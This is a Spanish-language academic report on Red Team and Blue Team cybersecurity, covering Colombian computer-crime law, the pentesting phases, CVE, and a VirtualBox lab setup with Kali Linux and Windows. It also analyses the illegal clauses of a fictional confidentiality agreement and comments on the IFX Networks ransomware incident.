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GLOSARIO

BLUE TEAM: Es un equipo de profesionales encargados de proteger la
organizacion contra cualquier amenaza.

CIBERSEGURIDAD: Conjunto de herramientas que ayudan a proteger los datos
entre los usuarios finales y los procesos tecnologicos.

CIS: Es una organizacion de buenas practicas para analizar, desplegar e iniciar la
configuracion segura de la infraestructura onpremise y cloud.

EXPLOIT: Son vulnerabilidades encontradas en las redes, aplicaciones, hardware
y aprovechadas por los ataques de programas o de cédigos desarrollados para
explotarlas.

FIREWALLS: Es una técnica de seguridad en un entorno del modelo OSI que limita
la propagacion de servicios y de trafico en una red privada.

GESTION DE SEGURIDAD: Proceso por el cual establece la documentacion
necesaria para establecer la proteccion frente a amenazas internas, externas y
cibernéticas hacia los servicios de TI.

METASPLOIT: Medio de cbdigo abierto con técnicas para identificar
vulnerabilidades, ejecucién de pruebas de penetracion y valorar cualquier sistema
operativo e infraestructura.

PENTESTING: Es una técnica planteada para atacar multiples entornos para
localizar y mitigar los fallos de seguridad.

PURPLE TEAM: Equipo encargado de enfrentar las técnicas de defensa
implementadas por Blue Team contra las técnicas de ataque usadas por Red Team.

RED TEAM: Es un equipo conformado por profesionales que se encargan de buscar
vulnerabilidades poniendo a prueba el Blue Team.

SISTEMAS DE DETECCION Y PREVENCION DE INTRUSOS (IDS/IPS): Solucién
gue inspecciona la deteccion de amenazas, politicas de seguridad en los usuarios
y de datos privados normativos.



RESUMEN

La categoria que tiene la gestion de los equipos de seguridad (Blue Team y Red
Team) y como resultado obtenido de cada una de las etapas implementadas se
denota las técnicas de ciberseguridad en la defensa y la simulacién de ataques para
lograr identificar las vulnerabilidades mas criticas de la infraestructura de la entidad.
El estudio ejecutado subraya la precision que se debe tener en la parte del
cumplimiento de objetivos en un escenario controlado con las mejores précticas en
los laboratorios de ataques y penetracion de la red. Los expertos de seguridad al
gestionar los equipos y al realizar las diferentes experiencias en los incidentes de
seguridad, la estimacion de los riesgos y en la explotacion de vulnerabilidades se
basan en certificar la proteccion de la infraestructura y la contencién frente a las
amenazas cibernéticas.

Palabras clave: Ataques, blue team, ciberseguridad, cibernéticas, infraestructura,
vulnerabilidades.



ABSTRACT

The category that has the management of security teams (Blue Team and Red
Team) and as a result obtained from each of the stages implemented, cybersecurity
techniques in the defense and simulation of attacks to identify the most critical
vulnerabilities of the infrastructure of the entity are denoted. The executed study
underlines the precision that must be taken in the part of the fulfilment of objectives
in a controlled scenario with the best practices in the laboratories of attacks and
penetration of the network. The security experts in managing the teams and
performing the different experiences in security incidents, risk estimation and
exploitation of vulnerabilities are based on certifying the protection of the
infrastructure and containment against cyber threats.

Keywords: Attacks, blue team, cybersecurity, cyber, infrastructure, vulnerabilities.



INTRODUCCION

En la actualidad se ha logrado identificar la preocupacion que tiene el mundo sobre
la ciberseguridad, es primordial establecer unidades especializadas que ayuden a
plantarse y mitigar las amenazas informaticas. Estas unidades en el espacio de la
seguridad informatica se basan en la proteccion de la infraestructura y sistemas de
informacion y por otro lado se realizan laboratorios, técnicas y metodologias para
identificar la efectividad de los sistemas seguridad obtenidos.

Sin embargo, para que estas dos partes tengan la funcionalidad eficiente, es
obligatorio implementar un proceso de capacidades técnicas, legales y de gestion
con los BlueTeam y el RedTeam. En este documento, se sustentara
especificamente el paso a paso de cada una de las estrategias de contencion
mediante el andlisis de riesgos y vulnerabilidades en una infraestructura TI.

En primer lugar, los diferentes conocimientos en pentesting se basan en desarrollar
diferentes informes de los sistemas vulnerables de las diferentes organizaciones.
Por tal razén se abarca brevemente el comprender la gran familia de conceptos que
tiene los equipos de seguridad red team y blue team.

Los delincuentes cibernéticos utilizan muchos aspectos tecnoldgicos para realizar
actos ilicitos por lo que es de gran necesidad siempre tomar medidas anticipadas,
aungue esto no evita por completo la vulnerabilidad, pero si controlar la contingencia
de ser materializado por parte ciberdelincuentes. Para percibir todo el entorno del
cibercrimen es de gran importancia comprender el cdmo se realizan estas
actividades y conocer los criterios éticos y legales que deben ser incluidos y que se
puede demostrar al instante de la contratacion de expertos en el area de Blue Team
y Red Team.

La ejecucién pruebas de intrusion se encuentra dispersa constantemente y se hace
transcendental el campo de la seguridad informética y estos simulacros son vitales
para identificar falencias en los sistemas de seguridad y asi mismo endurecer los
conocimientos previos frente a estos sistemas para lograr disminuir el impacto
cibernético en diferentes entornos.

Por ultimo, se tomaron en cuenta los escenarios desplegados para poder estudiar
todo el proceso que se debe hacer en contener un ataque en ambiente productivo,
lograr identificar la mejor manera de prevenir ciberataques en la red de cualquier
entidad y la manera mas factible de contribuir con el centro de seguridad de internet
por medio de técnicas que permitan dominar un ataque y mitigar los perjuicios al
mismo.
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1 OBJETIVOS

1.1 OBJETIVO GENERAL

Planificar estrategias que condesciendan técnicas de ciberseguridad de los equipos
Red Team & Blue Team en tiempo real

1.2 OBJETIVOS ESPECIFICOS

¢ Implementar ambientes virtualizados y realizar el analisis respectivo del
marco ético y legal basado en los conceptos de seguridad.

e Unificar los equipos Blue Team y Red Team en la ciberseguridad de cualquier
organizacioén e integrar la ética profesional en un documento legal.

e Explotar las vulnerabilidades de los sistemas operativos por medio de
técnicas de penetracion y identificar herramientas de seguridad de los
equipos Red Team y Blue Team

e Desarrollar habilidades de represidbn para endurecer los sistemas de
seguridad por medio de un andlisis executivo sobre amenazas vy
vulnerabilidades en la infraestructura.

e Describir y suministrar diferencias de herramientas de contencién y
recomendaciones en la respuesta a incidentes entre los equipos Red Team
& Blue Team.
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2 DESARROLLO

2.1 ETAPA 1-CONCEPTOS EQUIPOS DE SEGURIDAD

En esta etapa se brinda una breve descripcién de los conceptos basicos para
ingresar al mundo del blue team y red team, conociendo lo fundamental en este
campo e iniciando la comunicacién entre las maquinas virtuales necesarias para el
laboratorio a desarrollar.

2.1.1 Defina de forma general la ley 1273 de 2009 y definir cada articulo con
respecto de la ley 1581 de 2012

De conformidad con el amplio marco normativo que existe actualmente en el
territorio colombiano en lo concerniente al ambito informatico, en un principio, la ley
1273 de 2009' modifica el Cédigo Penal, en cuanto crea el bien juridico tutelado
denominado “de la proteccibn de la informaciébn y de los datos” y tipifica
determinadas conductas que se constituyen como un delito y son sancionados por
el Estado colombiano, por ser el garante de los derechos de los individuos. De igual
forma, plasma las penas en las que se pueden incurrir por la comision de estos.

En cuanto al contenido de cada uno de los articulos, se puede establecer lo
siguiente;

Articulo 1. Adiciona el “Titulo VII BIS denominado “De la Proteccion de la
informacion y de los datos”, dentro del cual se estructuran dos CAPITULOS con los
siguientes delitos:

CAPITULO |

e Acceso excesivo a un sistema informatico, delito que se comete cuando se
accede a un sistema informatico sin autorizacibn o se mantenga en el
excediendo la voluntad de quien cuenta con el legitimo derecho.

e Obstaculizacion ilegitima de sistema informatico o red de telecomunicacion,
se configura en el momento en que se impide u obstaculice el acceso a un

1 “Por medio de la cual se modifica el Cédigo Penal, se crea un nuevo bien juridico tutelado —
denominado “de la proteccion de la informacion y de los datos” y se preservan integralmente los
sistemas que utilicen las tecnologias de la informaciéon y las comunicaciones, entre otras
disposiciones.
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sistema informético, sus datos o en su defecto una red de
telecomunicaciones.

Interceptacion de datos informaticos. se materializa en el evento en que se
intercepten datos informaticos dentro de un sistema informatico o emisiones
electromagnéticas provenientes de un sistema que los transporte, sin que
medie autorizacion judicial previa.

Dafio informatico. se consuma cuando se destruya, dafie, borre, deteriore o
suprima datos informaticos, partes o0 componentes l6gicos de un sistema de
tratamiento de informacion, sin contar con la facultad para hacerlo.

Uso de software malicioso. es un delito que consta de producir, traficar,
adquirir, distribuir, vender, enviar, introducir o extraer del territorio
colombiano, algun software malicioso o programas de computacion con
efectos dafinos.

Violacién de datos personales. conducta que se realiza con provecho propio
o0 ajeno, la obtencién, compilacién, sustraccion, ofrecimiento, venta,
intercambio, envid, compra, interceptacion, divulgacién, modificacion,
empleo de datos personales sin encontrarse facultado.

Suplantacion de sitios web para capturar datos personales. se realiza cuando
sin cumplimiento de los requisitos establecidos, disefie, desarrolle, trafique,
venda, ejecute, programe o envie paginas electronicas, enlaces o ventanas
emergentes.

Circunstancias de agravacion. detalla los eventos en que las conductas
cometidas se agravan y por ende aumentan su pena.

CAPITULO I

Hurto por medios informéticos y semejantes. se configura en el momento en
gue se superan las medidas de seguridad informaticas, manipule un sistema
informético, una red de sistema electronico, teleméatico u otro medio
semejante, o suplantando a un usuario en su autenticacién sin contar con
autorizacion.

Transferencia no consentida de activos. se deriva en aquellos eventos en
gue la conducta se comete con intencibn de lucro y por medio de
manipulacion informatica o algun otro artificio obtenga la transferencia sin
consentimiento de cualquier activo con perjuicio de un tercero.

Articulo 2. Adiciona al Cédigo Penal como circunstancia de mayor punibilidad el utilizar
medios informéaticos, electronicos o telematicos en la comision de la conducta punible.

Articulo 3. Establece que los jueces penales municipales conocen de los delitos
descritos anteriormente.

Articulo 4. Establece su promulgacion y las normas que deroga.
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En cuanto a la ley estatutaria 1581 de 2012, tiene como propdsito asegurar la activa
proteccion de los datos personales, de modo que, durante todo el tratamiento de
datos, exista seguridad en el manejo de la informacion, de igual forma, desarrolla el
derecho constitucional del “Habeas Data”, entendido como aquel que permite a las
personas conocer, actualizar y rectificar (segun aplique), toda la informacion que se
haya recogido acerca de ellos en las distintas bases de datos existentes.

Por otro lado, conceptula todo lo relacionado en materia de datos, su clasificacion,
sus categorias, los principios para el tratamiento de la informacién que permiten una
interpretacion de las disposiciones alli contenidas, desarrolla los derechos, los
deberes, los responsables y encargados de aplicar la normatividad, también plasma
los procedimientos a seguir y resalta la importancia del correcto tratamiento de datos
personales y sus consecuencias en el caso del uso indebido de ellos.

Asi mismo, la ley 1581 de 2012, en su articulo 19, dispone que la Superintendencia
de Industria y Comercio, a través de su Delegatura para la Proteccion de datos
Personales, es la autoridad que ejerce vigilancia, con el fin de garantizar el correcto
tratamiento de datos. Mientras que en su articulo 23, establece las siguientes
sanciones;

“(...) a) Multas de caracter personal e institucional hasta por el equivalente de dos mil
(2.000) salarios minimos mensuales legales vigentes al momento de la imposicion de
la sancién. Las multas podran ser sucesivas mientras subsista el incumplimiento que
las origind.

b) Suspension de las actividades relacionadas con el Tratamiento hasta por un término
de seis (6) meses. En el acto de suspensidn se indicaran los correctivos que se deberan
adoptar;

c) Cierre temporal de las operaciones relacionadas con el Tratamiento una vez
transcurrido el término de suspensién sin que se hubieren adoptado los correctivos
ordenados por la Superintendencia de Industria y Comercio;

d) Cierre inmediato y definitivo de la operacion que involucre el Tratamiento de datos
sensibles; (...)”

Conforme a lo anterior, sera la Superintendencia de Industria y Comercio, la
autoridad encargada de ejercer vigilancia y control en materia de tratamiento de
datos, también estara en cabeza de las investigaciones que tengan por finalidad la
efectividad del habeas data, ademas de interponer las sanciones enunciadas
anteriormente, segun los criterios de graduacion sefialados en el articulo 24 de la
ley 1581 de 2012 y las demas que le sean asignadas legalmente.
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2.1.2 Definir cada etapa del pentesting, pero tiene que especificar con mayor

detalle la etapa de footprinting, de qué trata esta etapa.

@Post Explotacion
C, Explotacion

@Descubrimiento

= Reconocimiento

Figura 1 Etapas de Pentesting

Reconocimiento: En la primera etapa de reconocimiento (Footprinting) se
efectia la compilacion de informacién de toda la organizacién tipo pasivo
porque la labor ejecutada es obtener informacion general de la infraestructura
y de los sistemas de informacion en poco tiempo. Esta etapa tiene un grado
de importancia muy alta para los ataques simulados debido a que es el punto
de partida de tener un enfoque del ambiente que se va a atacar antes de
adelantar el proceso.

Se logra identificar que una de las etapas mas importantes en el pentesting
es el espacio de dibujar una proyeccion de las redes y de los sistemas de
informacion de cada organizacion a través de métodos no intrusivos. Todo el
proceso mencionado se establece en los tipos de recopilacién de informacion
ya sea activo o pasivo; activo es el proceso mas pesado para un hacker ya
gue es necesario realizar barridos de informacion por medio de herramientas
y técnicas para llegar a su objetivo, por otro lado, el tipo pasivo tiene una
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connotacion mas ligera que se obtiene informacion de la organizacion por
medio de perfiles de un sitio web.

El objetivo principal de esta fase se basa en conseguir informacion de los
datos de los usuarios de la organizacion, sitio web de publicacion, directorios
internos, arquitectura del sistema, banners de sistema, tablas de
enrutamiento, IPsS activos. Para cumplir con las metas el hacker sigue una
metodologia

*Se busca informacion en sitios web tanto privados como publicos

Internet Footprinting

I

*Se busca informacién sobre los objetivos del proceso de la

Competitive Intelligence |pemsasiys

*Se busca consultar la base de datos de la victima

Whois Footprinting

'eSe busca resolver informacion del dominio y la localizacion del
| objetivo

Dns Footprinting

*Se busca el bosquejo del diagrama de la red y de los sistemas

Network Footprinting |

«Se busca encontrar los archivos HTML de los sitios web de la
organizacion

Website Footprinting

«Se busca vigilar los datos de los correos enviados

E-mail Footprinting

*Se busca los operadores logicos de busqueda de la victima

'Google Hacking

Figura 2 Metodologia footprinting
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SPIDERFOOT

SAMSPADE

Herramienta Opensource

que sirve para establecer H ent it
scripts que se dediquen a| ' 'cfra@mienta que permite

recorrer las vias del rastrea; Ie;s fgente: je
Internet en busca de|O€0 tanton de entrada

patrones y dominios como de salida del

NESSUS

Herramienta de
ciberseguridad que
realiza el escaneo de

usuario final fallas de seguridad en los
sistemas 'y en la
seguridad de los
dispositivos de la

organizacién

Figura 3 Aplicaciones footprinting

e Descubrimiento (Fingerprinting): En este proceso la informacion se retne de
forma activa por medio de herramientas y técnicas para obtener datos reales
directamente de la infraestructura (direcciones IP, nombres de dominio,
subdominios y detalles de la red) sistemas, servicios y usuarios. La etapa
mencionada se desarrolla basado en escaneos de seguridad para identificar
vulnerabilidades en los sistemas y servicios.

e Explotacion: Es la etapa orientada a la parte técnica intrusiva con técnicas de
penetracion el cual utiliza las vulnerabilidades encontradas en las etapas
anteriores que se pretende explotarlas para lograr el acceso con permisos
privilegiados en los sistemas vulnerables. El logro de esta actividad se aferra
al levantamiento de informacién conseguida en la infraestructura del objetivo.

Las técnicas mas transcendentales para aprovechar las vulnerabilidades
descubiertas tales como: explotacion a nivel de aplicacion explotacién de
acceso remoto, creacion de contenedores y ejecucion de comandos de
moderados.

e Post Explotacion: Se sigue trabajando en las vulnerabilidades identificadas
en la anterior etapa y busca conservar la continuidad de acceso con permisos
privilegiados en los sistemas para lograr penetrar subredes internas
(spinning) y buscar evitar el descubrimiento y conservar un acceso constante
a la infraestructura
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2.1.3 Como experto en cibserguridad debe buscar y documentar lo siguiente: ¢ Qué
es un CVE y su estructura? * como se utiliza y como se articula con el CVE?

Common Vulnerabilities and Exposures, (Vulnerabilidades y Exposiciones
comunes). o también conocido como CVE, hace referencia a un estandar
internacional que tiene como objetivo no solo identificar, sino también enumerar de
forma publica, las vulnerabilidades de seguridad tanto en el software como en el
hardware. Tienen como propdsito proveer una identificacion propia a cada
vulnerabilidad, permitiendo asi, facilidad en la comunicacion y seguimiento de las
vulnerabilidades en el entorno de la ciberseguridad.

MITRE Corporation, es una entidad sin animo de lucro, que se encarga de asignar
los CVE y compilarlos en una base de datos y proporciona publicamente las
vulnerabilidades reconocidas. Dentro de la asignacion, se evidencia la descripcion
de problemas, la afectacion del software o hardware y finalmente, referencia las
soluciones siempre y cuando se encuentren disponibles.

MITRE estructura los CVE, de la siguiente forma; inicialmente lo categoriza como
un identificador de vulnerabilidad comun (CVE), la vigencia en que se identific y/o
asignd la vulnerabilidad y por daltimo un numero que se asigna conforme la
secuencia establecida para cada vulnerabilidad enumerada en el correspondiente
afo, conforme a lo anterior, la vulnerabilidad se identificaria asi; CVE-2024-14189.

En cuanto a la utilizacion y articulacion con “Exploit Database”, es un sitio en linea,
con la funcién de recopilar y presentar exploits, - entendidos como aquellos codigos
0 técnicas que se valen de vulnerabilidades de seguridad — asi como detalles
técnicos de las diferentes vulnerabilidades en los sistemas. Estas publicaciones,
pueden ser utilizados por el publico con enfoque investigativo, para comprender y
mitigar vulnerabilidades especificas en un determinado sistema o aplicacion.

Las relaciones entre CVE (Common Vulnerabilities and Exposures) y “Exploit
Database”, se resumen en las siguientes;
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Exploit Database, es un repositorio que aloja informacion especifica acerca
de los exploits, trayendo inmersos detalles técnicos de las vulnerabilidades

como se pueden explotar. Los exploits normalmente se desarrollan y
publican en funcion de las vulnerabilidades identificadas en un software en
especifico.

La mayoria de los exploits enumerados en "ExploitDatabase” encuentran
estrecha relacion con identificadores CVE, lo que se traduce en que la
icreacion de exploit fue con base a una de laas vulnerabilidades identificada
mediante CVE. la correlacion entre la vulnerabilidad y el exploit se resume
en la etiqueta con el nimero CVE de los exploits en el sitio web.

En las descripciones dadas en "Exploit Database" los enlaces o referencias a
los CVE relacionados, lo permite a los usuarios obarcar mas informacion
acerca de la vulnerabilidad y su descripciona través de la base de datos CVE

"Exploit Database", se utiliza con rl fin de comprender como funcionanlas
Inerabilidades y como se pueden explotar. Lo que facilita evaluar y
mejorar la seguridad de los sistemas que se administran o protegen.
ambién permite encontrar alternativas para mitigar los riesgosasociados
con una vulnerabilidad en particular.

Figura 4 Relaciones CVE y Exploit Database

2.1.4 Reconozca, analice y configure “banco de trabajo” lo solicitado en el anexo
1 — Escenario 1 sobre el cual deberé trabajar actividades que contienen un
alto grado de tecnicidad.

Paso A: Descargar la herramienta virtualizadora “VirtualBox” en su ultima version.
https://www.virtualbox.org/wiki/Downloads
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Figura 5 Instalacion Virtualizado

Paso B: Para el banco de trabajo se requieren 2 maquinas virtuales, una con Kali
Linux y la otra maquina debera ser un Windows 10 con todo su sistema de seguridad
abajo (Windows defender, anti virus, firewall entre otros).

W Firewall de Windows Defender
+ @ « Satensyguided + Frewal de Windows Defender v

Ayuda a proteger w PC con Firewall de Windows Defender
venzana principal del Pane de
S Fuewsll de Windows Defervder syude 8 impedit que hackers © software melinten Ganade obtengen

accmo & 1u PC 8 Ui de Setemet © una oo
Pacitir una apheacen o uns

Actushaar configuracion de firewall

Fuewall de Windows Defender no ests usando
s confgguracion cecemendads para preteges
ol epspo

5 Usar s contiguracion recemendade
et Firewall de

lender “uil e b

carfigurasén recomerdada?

predetermin

. . 9 Redes privadas NO conectado
§ Cenfiguracié 210

SCiuCion de prodiemaes de red 7
Seluitn de probiemas de red l g nvitado o redes piblicas Conectado

Redes en lugeces publicos come seropuentos o cafeteriss

Estado de Firewall de Windows Defenden Desactivado

Conexicnes entrantes: Eloquiear 5005 135 CON@ICNes 2 plicaciones que
70 e1tén en I Inta de apficaciones permitidas
Redes publicas actnas: T Red
Es1do de netcacicn Noadicame cuindo Frewad de Windows

Oefender bloguee una reeva 2plicaccn
Seguridad y mantenimiento

1« Cerero deredesy recursos

L Fscrive aqui para buscar ~ft_,

Figura 6 Sistema operativo Windows sin proteccion
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Entrada Dispositivos  Ayuda

Seguridad de Windows

L Escribe aqui para buscar. -f

- Configuracién de Proteccién contra
virus y amenazas

Visualiza y actualiza la configuracion de Proteccién contra virus y
amenazas para Antivirus de Microsoft Defender

Proteccién en tiempo real

Localiza el malware e impide que se instale o ejecute en el dispositivo.
Puedes desactivar esta opcién durante un breve periodo antes de que
vuelva a activarse automaticamente.

o La proteccién en tiempo real esté desactivada, lo que pone en riesgo
el dispositivo.

@) Desactivado

Proteccién basada en la nube

Proporciona una proteccién mayor y mas répida con acceso a los datos de
proteccién mas recientes en la nube. Funciona mejor cuando el envio
automatico de muestras esta activado.

La proteccién basada en la nube esta desactivada. El
dispositivo podria ser vulnerable.

Ignorar

Desactivado

Centro de redes y recursos
compartidos

i}

Figura 7 Centros de c

A T EId) ESP

p.m.
14/02/2024

onfianzay proteccién desactivados

Paso C: Debe validar que exista comunicacion entre cada una de las maquinas
Windows y Kali Linux, recuerde por favor no exceder la asignacion de recursos entre
las dos maquinas ya que puede colapsar los recursos hardware de su equipo host,
encienda primero una maquina Windows y posterior a ello encienda la maquina Kali

Linux.

() kalt-linux-2023.4-virtualbox-amdsa
2 © Apagada

_ = General
—  Nombre: kali-inux-2023. 4-virtualbox-amd64
_ Sistema operativo: Debian (64-bit)

[®] sistema

Memoria base: 2048 M8

Procesadores:

Orden de arranque:  Disco duro, Optica
Aceleracion: Paginacion anidada, PAEINX, Paravirtualizacion KVM

(9] pantalla
Memoria de videp: 128M8
Controlador grafico:
Servidor de escritorio remoto: ~ Inhabiltado
Grabacin: Inhabiitado
Almacenamiento
Controlador: IDE
Dispositivo IDE secundario 0: ~ [Unidad dptica] Vacio
Controlador: SATA
Puerto SATA 0:
(o Audio

Controlador de anfitrion: Windows DirectSound
Controlador: ICHAC97

@ Red

Adaptador 1: Intel PRO/1000 MT Desktop (NAT)
(5 uss

Controlador USB: 1

Filtros de dispositivos: 0 (0 activo)

[C] carpetas compartidas
Ninguno

&) Descripcion

Kali Roling (2023.4) x4

Figura 8 Importacién de KaliLinux
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prchivo Mdquina Ver Entrada Disposivos Ayuda
n

Integracin de ratdn...

Autocapturar tedado...

@ Programa de instalacién de Windows

Instalando Windows

Estado

J/ Copiando archives de Windows
Preparando archivos para instalacién (0%)
Instalando caracteristicas
Instalando actualizaciones
Acabando

1 Recopilar informacién 2 Instalando V

15, &8 B cTRL DERECHA

Figura 9 Instalacion Sistema Operativo

Paso D: Evidenciar con printscreen el montaje del banco de trabajo y explicar cobmo
se encuentra desplegado “caracteristicas técnicas de hardware”.
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Configuracién

1elemento 1 elemento seleccionado

— 9:56 p. m.
. ) S
R Escribe aquf para buscar. A DD EP 14/02/2024

kali@kali: ~
File Actions Edit View Help

ets 4 bytes 240 (240.0 B)
rors @ dropped @ overruns @ carrier @ collisions @

File System

UP, BROADCAST, RUNNING, MULTICAST> mtu 1500
168.1. netmask 255.255.255.0 broadcast 192.1
ac5:5143 prefixlen 64 scopeid 0x20<link>
9273 :do  txqueuelen 1000 (Ethernet)
51 bytes 5744 (5.6 KiB)
rors @ dropped 30 overruns 0 frame ©
kets 84 bytes 12546 (12.2 KiB)
rors @ dropped 0 overruns 0 carrier @ collisions @

UP, LOOPBACK, RUNNING> mtu 65536
127.0.0.1 netmask 255.0.0.0
prefixlen 128 scopeid @x10<host>

loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 240 (240.0 B)

rors @ dropped 0 overruns 0 carrier @ collisions 0

HINTRTTINUK

"the quieter you become, the more you are able to hear"
Figura 11 Direccionamiento de KaliLinux
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Se realiza las pruebas de conectividad entre las dos maquinas virtualizadas
(Windows 192.168.1.3) (KaliLinux 192.168.1.15)

Figura 12 Conectividad hacia Kalinux

kali@kali: ~
File Actions Edit View Help

ets 4 bytes 2
@ dropped 0

time 12226ms

the quieter you become, the more you are able to hear"

Figura 13 Conectividad hacia Sistema Operativo Windows
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2.2 ETAPA2-ACTUACIONETICA Y LEGAL

2.2.1 ¢Una vez leido el anexo 2 — escenario 2 y el anexo 3 — Acuerdo, ¢Qué
parrafos cree usted que se tornan ilegales dentro del acuerdo de
confidencialidad?

Dentro de la clausula segunda del acuerdo de confidencialidad - Definicion de
informacién confidencial - el literal N°2 sefiala que “Cualquier informacion societaria,
técnica, juridica, financiera, comercial, de mercado, estratégica, de productos,
nuevas tecnologias, patentes, modelos de utilidad, disefios industriales, datos
secretos como ‘datos de chuzadas, interceptacion ilegal de informacion, accesos
abusivos a sistemas informéaticos”.

En cuanto a lo anterior, se torna ilegal, toda vez que se estaria violando el bien
juridico tutelado protegido por la ley 1273 de 2009, en cuanto son conductas
tipificadas como delitos, tal y como se evidencia a continuacion;

Tabla 1 Conductas tipificadas

Accesos abusivos a | Art. 269 A, ley 1273 de 2009. EI que, sin autorizacién o
sistemas informéticos | por fuera de lo acordado, acceda en todo o en parte a
un sistema informético protegido o no con una medida
de seguridad, o se mantenga dentro del mismo en
contra de la voluntad de quien tenga el legitimo derecho
a excluirlo, incurrirhd en pena de prisiébn de cuarenta y
ocho (48) a noventa y seis (96) meses y en multa de
100 a 1000 salarios minimos legales mensuales

vigentes
Interceptacién ilegal de | Art. 269 C, Ley 1273 de 2009. El que, sin orden judicial
informacion previa intercepte datos informaticos en su origen,

destino o en el interior de un sistema informatico, o las
emisiones electromagnéticas provenientes de un
sistema informatico que los trasporte incurrira en pena
de prisién de treinta y seis (36) a setenta y dos (72)
meses

Datos de chuzadas Art. 260 E, Ley 1273 de 2009. El que, sin orden judicial
previa intercepte datos informaticos en su origen,
destino o en el interior de un sistema informatico, o las
emisiones electromagnéticas provenientes de un
sistema informatico que los trasporte incurrira en pena
de prision de treinta y seis (36) a setenta y dos (72)
meses
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En cuanto a la clausula cuarta del acuerdo confidencial - Obligaciones de la parte
receptora — el literal N°3 contiene la obligacion de “no denunciar ante las
autoridades actividades sospechosas de espionaje o cualquier otro proceso en el
cual intervenga la apropiacién de informacion de terceros”. Lo que no solo deriva en
la violacion al deber de denunciar contenido en la Constitucion Politica Colombiana
y en él articulo 67 del Codigo de Procedimiento Penal, sino que también constituye
la comision del delito contenido en el articulo 269 F de la ley en mencion, en cuanto
el hecho de no denunciar la conducta cometida, lo convierte en complice del delito
mencionado.

Asi mismo, dentro de esta clausula, el literal N°5, establece que es obligacion de la
parte receptora “responder ante las autoridades competentes como responsable en
caso de que la informacién se encuentre en su poder dentro de un proceso de
allanamiento”, también es considerada como una clausula ilegal, por tanto, vulnera
el principio de no autoincriminacion contenido en el articulo 33 de la constitucion
politica.

Finalmente, dentro del literal N°6 de la misma clausula, la obligacion de no
transmitir, comunicar, revelar informacion ilegal, va en contra no solo de la
legislacion colombiana sino también en contravia de la ética profesional del
trabajador.

Lo anterior, conlleva a concluir que el acuerdo de confidencialidad contiene
clausulas ilegales, y su suscripcion iria en contra de la ética y moral del trabajador.
Por ende, una vez analizado y revisado el acuerdo, se recomienda no suscribirlo
con la compaiiia.

2.2.2 Si usted como profesional en ciberseguridad logré encontrar algin proceso
ilegal en el anexo 3 — Acuerdo, debera citar puntualmente ley colombiana y
articulo que se podria estar violentando en dicho documento

e Constitucién Politica de Colombia (articulo 33)
“Nadie podra ser obligado a declarar contra si mismo o contra su cényuge,
compafero permanente o parientes dentro del cuarto grado de
consanguinidad, segundo de afinidad o primero civil”.

e Cadigo de Procedimiento Penal (articulo 67)
‘DEBER DE DENUNCIAR. Toda persona debe denunciar a la autoridad los

delitos de cuya comisién tenga conocimiento y que deban investigarse de
oficio.
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2.2.3

El servidor publico que conozca de la comision de un delito que deba
investigarse de oficio, iniciard sin tardanza la investigacion si tuviere
competencia para ello; en caso contrario, pondra inmediatamente el hecho
en conocimiento ante la autoridad competente”.

Ley 1273 de 2009 (articulos 269 A, 269C y 269E)

Art. 269 A, ley 1273 de 2009. El que, sin autorizacién o por fuera de lo
acordado, acceda en todo o en parte a un sistema informatico protegido o no
con una medida de seguridad, o se mantenga dentro del mismo en contra de
la voluntad de quien tenga el legitimo derecho a excluirlo, incurrira en pena
de prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de
100 a 1000 salarios minimos legales mensuales vigentes.

Art. 269 C, Ley 1273 de 2009. El que, sin orden judicial previa intercepte
datos informéticos en su origen, destino o en el interior de un sistema
informatico, o las emisiones electromagnéticas provenientes de un sistema
informatico que los trasporte incurrira en pena de prision de treinta y seis (36)
a setenta y dos (72) meses

Art. 260 E, Ley 1273 de 2009. El que, sin orden judicial previa intercepte
datos informéticos en su origen, destino o en el interior de un sistema
informatico, o las emisiones electromagnéticas provenientes de un sistema
informatico que los trasporte incurrira en pena de prision de treinta y seis (36)
a setenta y dos (72) meses

Caodigo de ética para el ejercicio de la Ingenieria en general y sus profesiones
afines — Ley 842 de 2003 (articulo 34 literal a)

“a) Ofrecer o aceptar trabajos en contra de las disposiciones legales vigentes,
0 aceptar tareas que excedan la incumbencia que le otorga su titulo y su
propia preparacion”.

¢, Si usted llegara a encontrar procesos ilegales en el acuerdo de
confidencialidad usted aceptaria contrato y acuerdo de confidencialidad de la
organizacion HackerHouse, aun conociendo lo que podria disponer COPNIA
en su codigo de ética y sanciones en Colombia para profesionales de
ingenieria?
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En virtud de la moral y la ética profesional no aceptaria el sueldo, toda vez que
estaria en contravia no solamente de mis principios, sino que también del
ordenamiento juridico colombiano. Adicionalmente, el hecho de suscribir el acuerdo
de confidencialidad sefialado, me llevaria a la comision de los delitos anteriormente
descritos y en consecuencia a paga la pena sefalada en ellos, desde el punto de
vista legal, en cuanto al punto de vista ético de mi profesion, no solo me veria
inmerso en procesos disciplinarios, sino que también como consecuencia podria
quedar inhabilitado de la profesion e incluso, perder mi tarjeta profesional. Por tanto,
ni con el mejor sueldo aceptaria el trabajo mencionado.

2.2.4 Deberabuscar alguna noticia de cibercrimen en Colombia y redactar su punto
de vista teniendo en cuenta las implicaciones legales y éticas que alli se
pudieron generar

IFX Networks

El avance tecnoldgico que viene avanzado afio tras afio y asi mismo que se
benefician todo lo que se encuentre conectado a internet (usuarios y empresas),
presentemente la gran cantidad de informacion y de datos manejados se almacena
en estos medios; Pese a lo cual, las ciencias aplicadas han evolucionado, los
deliticos cibernéticos crecen de manera exponencial, los ciberdelincuentes se
encuentran explorando diferentes alternativas y técnicas para garantizar la
confidencialidad de los datos o efectuar cualquier labor con la intencion de realizar
sus diferentes ataques.

La empresa colombiana IFX Networks ofrece gran variedad servicios de tecnologia
eficientes y se hace el filtro de informacién en la cual fueron delincuentes
informaticos conocido como RansomHouse dedicada a la fabricacion de ataques de
tipo Ransomware y su objetivo es lograr cifrar la informacién, infraestructura o
sistemas de informacion para luego recaudar magnos de dinero por la descripcion
de los datos o la solucién pertinente. Un 12 de septiembre de 2023 los expertos de
ciberseguridad examinaron los detalles del ataque recibido y las conductas
cometidas dentro de la noticia se tipifican estipulados en Ley 1273 de 20009:

e ARTICULO 269B Obstaculizacion ilegitima de sistema informatico, hace
referencia a que la entidad IFX Networks tuvo que realizar la indisponibilidad
de servicios hacia sus usuarios finales y clientes lo que obtuvo un impacto
alto en la parte operativa. Adicionalmente la interrupcion de servicios no
cumple con preservar la integridad de todos los servicios ofrecidos.
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e ARTICULO 269F Violacién de datos personales, se enfoca en especificar del
